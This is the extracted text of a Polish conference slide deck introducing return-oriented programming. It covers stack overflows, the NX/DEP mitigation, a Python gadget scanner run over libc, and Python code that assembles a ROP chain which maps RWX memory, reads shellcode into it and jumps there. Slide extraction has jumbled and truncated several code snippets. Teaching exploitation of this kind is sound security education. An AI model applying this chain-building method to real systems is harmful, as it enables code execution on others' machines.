    pechowy bufor (zostanie przepełniony) ROP 101 C/C++/ObjC

    Stare dobre przepełnienie bufora

    stos wątku

    RETURN ...... ADDRESS

    pechowy bufor (zostanie przepełniony) ROP 101 C/C++/ObjC

    Stare dobre przepełnienie bufora

    stos wątku

    EVIL RETURN ... SHELLCODE RETURN ... ADDRESS ADDRESS

    ... ret (pop instruction pointer) ROP 101 C/C++/ObjC

    Teraz już tak dobrze nie ma - NX/XD/DEP

    stos wątku

    EVIL RETURN ... SHELLCODE RETURN ... ADDRESS ADDRESS

    ... ret (pop instruction pointer) ROP 101 C/C++/ObjC

    Teraz już tak dobrze nie ma - więc robi się ROP

    stos wątku

    EVIL EVIL EVIL RETURN ... (whatever) RETURN VALUE RETURN RETURN ... ADDRESS ADDRESS ADDRESS ADDRESS

    gadget 1 gadget 2 gadget 3 ret ret ret ROP 101

    Teraz już tak dobrze nie ma - więc robi się ROP

    kod maszynowy (biblioteki, binarka)

    gadget 1 gadget 2 gadget 3 ROP 101

    Teraz już tak dobrze nie ma - więc robi się ROP

    0x1f56a sub eax, 0x3a04f1 0x1f56f mov [rip+0x3a04da], rax 0x1f576 pop rax 0x1f577 pop rbx 0x1f578 pop rcx 0x1f579 ret 0x1f57a nop

    gadget 1 skok do gadget 2 ROP - poszukiwanie gadżetów

    W Pythonie, a jak. import distorm3 # https://code.google.com/p/distorm/downloads/list

    # XXX Setup here XXX TARGET_FILE = "libc.so.6" FILE_OFFSET_START = 0x1f4a0 # In-file offset of scan start FILE_OFFSET_END = 0x165F88 # In-file offset of scan start VA = 0x0 # Note: PC is calculated like this: VA + given FILE_OFFSET X86_MODE = distorm3.Decode64Bits # just switch the 32 or 64 # XXX End of setup XXX

    ulubiony disassembler (silnik, w postaci biblioteki) ROP - poszukiwanie gadżetów

    W Pythonie, a jak. def DecodeAsm(pc, d): disasm = distorm3.Decode(pc, d, X86_MODE) k = [] l = "" ist = "" "\xB8\x78\x56\x34\x12\xC3" for d in disasm: addr = d[0] size = d[1] inst = d[2].lower() t = "0x%x %s" % (addr,inst) [ l += t + "\n" ist += "%s\n" % (inst) "0x1234 mov eax, 0x12345678", k.append((addr,inst)) "0x1239 ret" if inst.find('ret') != -1: ] break

    return (l,k,ist) ROP - poszukiwanie gadżetów

    W Pythonie, a jak. ------> offset: 0x1f667 UNIQ = {} 0x1f667 pop rbp d = open(TARGET_FILE, "rb").read() 0x1f668 pop r12 for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END): (cc,kk,ist) = DecodeAsm(VA+i, d[i:i+20]) 0x1f66a ret if cc.find('ret') == -1: continue ------> offset: 0x1f668 if cc.find('db ') != -1: continue 0x1f668 pop r12 if ist in UNIQ: 0x1f66a ret continue UNIQ[ist] = True print "------> offset: 0x%x" % (i + VA) ------> offset: 0x1f669 for k in kk: 0x1f669 pop rsp print "0x%x %s" % (k[0],k[1]) 0x1f66a ret if k[1].find('ret') != -1: break print "" jeśli mamy szczęście, to będzie z 5MB ROP - tworzenie payloadu

    Python!

    # MY Little ROP, Libc Is Magic! from struct import pack LIBC=0

    def dq(v): # data quad word return pack("

    def set_rdi(rdi): # ------> offset: 0x22b1a # 0x22b1a pop rdi # 0x22b1b ret return ''.join([ dq(LIBC + 0x22b1a), dq(rdi) ]) ROP - tworzenie payloadu

    Python!

    def rop_read(fd, buf, count): READ = LIBC + 0xEB800 return ''.join([ set_rdi(fd), set_rsi(buf), set_rdx(count), syscall(0) ]) ROP - tworzenie payloadu

    Python! def gimme_gimme(libc): return ''.join([

    # mmap rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0),

    # read rop_read(0, ADDR, 0x1000),

    # jmp dq(ADDR),

    ]) ROP - tworzenie payloadu

    Jak to wygląda jako lista wartości...

    --> 48857 --> ffffffffffffffff --> 0 --> f49c0 --> f09c1 --> 22b1a --> 0 --> 0 --> 0 --> 24805 --> 22b1a --> 700000001000 --> 700000001000 --> bcee0 --> 24805 --> 1000 --> 1000 --> 48857 --> bcee0 --> 0 --> 7 --> 113828 --> 112ecf --> 700000001000 --> 32 --> 127906 ROP - łączenie z exploitem

    def add(s, size): ... s.send(dd(0) + dq(size)) # Write the ROP chain to stack and trigger return struct.unpack('

    That's it. Dziękuje za uwagę!

    [email protected] http://gynvael.coldwind.pl/ twitter: @gynvael